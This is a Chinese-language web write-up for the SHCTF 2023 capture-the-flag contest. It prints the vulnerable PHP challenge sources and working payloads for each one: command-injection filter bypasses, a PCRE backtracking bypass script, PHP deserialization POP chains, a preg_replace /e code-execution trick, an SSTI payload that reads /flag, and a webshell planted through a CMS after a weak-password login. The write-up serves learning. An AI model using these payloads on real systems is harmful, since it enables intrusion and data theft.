2023 SHCTF-校外赛道 WEB WP

WEEK1

babyRCE

 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

过滤了一些常用命令、数字等，空格也被过滤了，那么可以用${IFS}代替。ls也可以用，好好好，上传命令

?rce=ls${IFS}/

得到

但要获取flag就需要使用通配符来绕过了。。因为过滤了flag字符

?rce=uniq${IFS}/f???

flag{82c3aa08-6f04-48ab-abf3-99b9aaa1cd22} 

1zzphp

 <?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}  

分析源码，第一步需要给num传参，不能为数字，但intval函数是用于获取参数的整数值，如果不是数

字，就会返回FALSE，所以我们采用数组来绕过第一段。然后进入第二段过滤，利用PCRE时间回溯漏

洞，通过发送大量字符串，使其超过返回上限即可绕过.

exp:

import requests

url = "..../?num[]"

data = {'c_ode': 'very' * 250000 + '2023SHCTF'}
res = requests.post(url, data=data)
print(res.text)

ez_serialize

听说你会PHP反序列化漏洞？不信，除非can_can_need_flag

 <?php
highlight_file(__FILE__);

class A{
  public $var_1;

  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?>

一道较为基础的反序列化链子

文章推荐:php 反序列化总结

<?php
highlight_file(__FILE__);
class A{
    public $var_1;
    public function __invoke(){
        include($this->var_1);
    }
}
class B{
    public $q;
    public function __wakeup()
{
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
        echo "hacker";
        }
    }
}
class C{
    public $var;
    public $z;
    public function __toString(){
        return $this->z->var;
    }
}
class D{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a=new A();
$b=new B();
$c=new C();
$d=new D();
$b->q=$c;
$c->z=$d;
$c->var=$c;
$d->p=$a;
$a->var_1="php://filter/convert.base64-encode/resource=flag.php";
echo serialize($b);
?>

登录就给flag

点击登录，等待3秒，跳转到登录页面，尝试弱口令admin和password，登录成功

飞机大战

查看源代码找到

进去找到一串编码

执行一下得到base64编码

print("\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006d\u0059\u007a\u004a\u0068\u004e\u006d\u0045\u0031\u005a\u0053\u0030\u0030\u004d\u0044\u0064\u0069\u004c\u0054\u0051\u0035\u0059\u0054\u0055\u0074\u004f\u0044\u0051\u0035\u004e\u0053\u0030\u0077\u0059\u007a\u0041\u0033\u004d\u007a\u005a\u006c\u004e\u0032\u0045\u007a\u005a\u006d\u0052\u0039\u000a")

ZmxhZ3tmYzJhNmE1ZS00MDdiLTQ5YTUtODQ5NS0wYzA3MzZlN2EzZmR9

解码即可

ezphp

 <?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>
it is begin

第一个过滤接收字符在判断之后，可以直接忽视

随后就是漏洞利用，这里是\e的命令执行

参考：深入研究preg_replace与代码执行

?code=${ phpinfo() }

pattern=\S.*

生成你的邀请函吧~

API：url/generate_invitation
Request：POST application/json
Body：{
    "name": "Yourname",
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}  

使用POST json请求来生成你的邀请函吧~flag就在里面哦~

postman向

generate_invitation

发包即可

WEEK2

no_wake_up

 <?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']); 

简单的反序列化

<?php
class flag{
    public $username="admin";
    public $code="php://filter/convert.base64-encode/resource=flag.php";
}
$a=new flag();
echo serialize($a);

O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

PD9waHANCiRmbGFnID0gImZsYWd7YzU5NGU2MzktNDA1Ni00MmY4LThhOWItYjc2OGNmNjRkMDdkfSI7

解码即可

ez_ssti

ssti一把梭

?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

EasyCMS

扫后台得到admin/admin.php，然后进入

弱口令登录

admin/tao

点击文件管理，创建新文件，写入一句话木马

命令执行即可得到flag

serialize

 <?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

简单的POP链

<?php
class misca{
	public $gao;
	public $fei;
	public $a;
	public function __get($key){
		echo "misca: __get: <br>";
		var_dump($key);
		$this->miaomiao();
		var_dump($this->fei);
		$this->gao=$this->fei;
		die($this->a);
}
	public function miaomiao(){
		echo "miaomiao:<br>";
		$this->a='Mikey Mouse~';
	}
}
class musca{
	public $ding;
	public $dong;
	public function __wakeup(){
		echo "musca: __wakeup: <br>";
		return $this->ding->dong;
	}
}
class milaoshu{
	public $v;
	public function __tostring(){
		echo"misca~musca~milaoshu~~~";
		include($this->v);
	}
}
function check($data){
	if(preg_match('/^O:\d+/',$data)){
		die("you should think harder!");
}
	else return $data;
}
$m = new musca();
$mi = new misca();
$mls = new milaoshu();
$mls->v = "php://filter/convert.base64-encode/resource=flag.php";
$mi->fei = $mls;
$mi->gao = &$mi->a;
$m->ding = $mi;
echo urlencode(serialize(array($m)));
$t = $_GET["wanna_fl.ag"];
var_dump($t);
unserialize(check($t));

?wanna[fl.ag=a%3A1%3A%7Bi%3A0%3BO%3A5%3A%22musca%22%3A2%3A%7Bs%3A4%3A%22ding%22%3BO%3A5%3A%22misca%22%3A3%3A%7Bs%3A3%3A%22gao%22%3BN%3Bs%3A3%3A%22fei%22%3BO%3A8%3A%22milaoshu%22%3A1%3A%7Bs%3A1%3A%22v%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7Ds%3A1%3A%22a%22%3BR%3A4%3B%7Ds%3A4%3A%22dong%22%3BN%3B%7D%7D

MD5的事就拜托了

WEEK3

快问快答

男：尊敬的领导，老师
女：亲爱的同学们
合：大家下午好！
男：伴着优美的音乐，首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。

sseerriiaalliizzee

gogogo